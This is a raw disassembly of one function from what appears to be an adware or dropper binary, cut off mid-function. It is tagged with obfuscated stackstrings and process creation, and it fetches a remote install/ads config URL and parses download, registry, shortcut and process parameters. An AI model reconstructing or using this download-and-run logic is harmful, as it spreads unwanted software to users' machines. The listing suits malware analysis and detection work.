Function at 0x410190
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x46f9a6
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push esi
push edi
mov eax, dword [0x489900]
xor eax, esp
push eax
lea eax, [esp + 0xd0]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0x108]
mov esi, dword [edx + 0x1ac]
xor eax, eax
test esi, esi
jle 0x41243e
cmp eax, esi
jl 0x4101e3
xor ecx, ecx
jmp 0x4101f6
test eax, eax
jl 0x41021c
cmp eax, esi
jge 0x41021c
mov ecx, dword [edx + 0x1a8]
lea ecx, [ecx + eax*4]
mov ecx, dword [ecx]
cmp dword [ecx + 0x84], 0
jne 0x410221
inc eax
cmp eax, esi
jl 0x4101e3
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00436686
lea eax, [edi + 0x160]
push str.YouXunBoxYouxun.exe
push eax
lea edx, [esp + 0xbc]
push edx
mov dword [esp + 0xc4], eax
call fcn.00404c60
add esp, 8
mov dword [esp + 0xdc], 0
mov ecx, esp
mov dword [esp + 0x30], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401b80
lea eax, [esp + 0x1c]
push eax
call fcn.00409390
add esp, 8
mov byte [esp + 0xd8], 1
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41028e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xd8], 2
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4102c0
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xd8], 3
mov esi, dword [esp + 0x18]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x30], esp
mov edi, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41030a
cmp eax, dword [esi]
jne 0x41030a
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410346
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x410323
call fcn.00402620
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xe0], 4
mov ecx, esp
mov dword [esp + 0xa8], esp
push str.sleep
lea edi, [esp + 0x6c]
call fcn.00401b80
mov byte [esp + 0xe0], 5
mov ebx, dword [0x48e3f0]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0xa4], esp
mov dword [esp + 0x30], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x4103ac
cmp eax, dword [ebx]
jne 0x4103ac
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4103e8
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4103c5
call fcn.00402620
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x30]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xe4], 3
call fcn.00409260
mov edx, dword [esp + 0x6c]
add esp, 0xc
push edx
call fcn.0045371c
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x30], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
mov dword [esp + 0xa4], esp
mov edi, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410445
cmp eax, dword [esi]
jne 0x410445
mov ebx, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x410481
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x41045e
call fcn.00402620
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xe0], 6
mov ecx, esp
mov dword [esp + 0xa0], esp
push str.number
lea edi, [esp + 0x74]
call fcn.00401b80
mov byte [esp + 0xe0], 7
mov ebx, dword [0x48e3f0]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x20], esp
mov dword [esp + 0x30], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x4104e4
cmp eax, dword [ebx]
jne 0x4104e4
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410520
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4104fd
call fcn.00402620
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x30]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xe4], 3
call fcn.00409260
mov edx, dword [esp + 0x74]
add esp, 0xc
push edx
call fcn.0045371c
mov esi, eax
add esp, 4
mov dword [esp + 0xa0], esi
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41056b
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xd8], 8
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41059d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xd8], 9
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4105cf
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xd8], 0xa
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410601
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x24], eax
mov byte [esp + 0xd8], 0xb
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410633
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xd8], 0xc
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410665
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xd8], 0xd
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410697
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xd8], 0xe
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4106c9
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x9c], eax
mov byte [esp + 0xd8], 0xf
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4106fe
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xd8], 0x10
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410730
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xd8], 0x11
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410765
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xd8], 0x12
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41079a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xd8], 0x13
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4107cc
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xd8], 0x14
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410801
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xd8], 0x15
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410836
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xd8], 0x16
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410868
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xd8], 0x17
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41089a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xd8], 0x18
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4108cc
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xd8], 0x19
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4108fe
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xd8], 0x1a
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410930
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xd8], 0x1b
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410962
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xd8], 0x1c
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410997
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xd8], 0x1d
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4109c9
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xd8], 0x1e
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4109fe
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xd8], 0x1f
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410a30
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xd8], 0x20
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410a62
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xd8], 0x21
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410a97
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xd8], 0x22
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410acc
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
mov byte [esp + 0xd8], 0x23
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410b01
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xd8], 0x24
call fcn.00436488
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x410b33
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
cmp esi, 1
mov bl, 0x25
mov byte [esp + 0xd8], bl
mov dword [esp + 0x34], 1
jl 0x411e56
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x108]
xor esi, esi
xor eax, eax
cmp dword [ecx + 0x1ac], esi
mov dword [esp + 0x10], esi
jle 0x411e40
cmp eax, dword [ecx + 0x1ac]
mov edi, dword [esp + 0x34]
jl 0x410b8d
xor edx, edx
jmp 0x410bac
test eax, eax
jl 0x41021c
cmp eax, dword [ecx + 0x1ac]
jge 0x41021c
mov edx, dword [ecx + 0x1a8]
lea edx, [edx + eax*4]
mov edx, dword [edx]
mov edx, dword [edx + 0xb0]
test edx, edx
je 0x410bf3
cmp dword [edx], edi
jne 0x410bf3
cmp eax, dword [ecx + 0x1ac]
mov dword [esp + 0x10], 1
jl 0x410bce
xor edx, edx
jmp 0x410bed
test eax, eax
jl 0x41021c
cmp eax, dword [ecx + 0x1ac]
jge 0x41021c
mov edx, dword [ecx + 0x1a8]
lea edx, [edx + eax*4]
mov edx, dword [edx]
mov esi, dword [edx + 0x84]
inc eax
cmp eax, dword [ecx + 0x1ac]
jl 0x410b8d
cmp dword [esp + 0x10], 0
je 0x411e40
test esi, esi
je 0x411e40
mov esi, dword [esp + 0x34]
push esi
lea eax, [esp + 0x70]
push str.wd_durl
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x7c]
push str.wd_dmd5
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0x68]
push str.wd_dmain
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0x74]
push str.wd_dunmain
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0xb0]
push str.wd_dchina
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0x60]
push str.wd_dopen
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0xac]
push str.wd_dReg
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x58]
push str.wd_dtaskbar
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0x90]
push str.wd_dparam
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0x50]
push str.wd_dLnk
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x78]
push str.wd_dsleep
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0xb4]
push str.wd_dlnkpath
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0x94]
push str.wd_drnwait
push eax
call fcn.00405740
add esp, 0xc
push esi
push str.wd_dprocess
lea ecx, [esp + 0x60]
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0x84]
push str.wd_dArea
push edx
call fcn.00405740
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410d75
cmp eax, dword [esi]
jne 0x410d75
mov edi, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x410db0
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x26
mov edi, dword [esp + 0x70]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410df5
cmp eax, dword [edi]
jne 0x410df5
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410e30
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x27
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410e77
cmp eax, dword [edi]
jne 0x410e77
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410eb2
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410f01
cmp eax, dword [esi]
jne 0x410f01
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410f3c
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x28
mov edi, dword [esp + 0x7c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410f81
cmp eax, dword [edi]
jne 0x410f81
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410fbc
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x29
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411003
cmp eax, dword [edi]
jne 0x411003
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41103e
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x3c]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41108d
cmp eax, dword [esi]
jne 0x41108d
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4110c8
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2a
mov edi, dword [esp + 0x68]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41110d
cmp eax, dword [edi]
jne 0x41110d
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411148
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2b
mov edi, dword [0x48e3f0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41118f
cmp eax, dword [edi]
jne 0x41118f
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4111ca
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x48]
mov byte [esp + 0xe4], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411219
cmp eax, dword [esi]
jne 0x411219
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411254
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x41031e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2c
mov edi, dword [esp + 0x74]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411299
cmp eax, dword [edi]
jne 0x411299
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4112d4
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x41031e
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00452e66
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
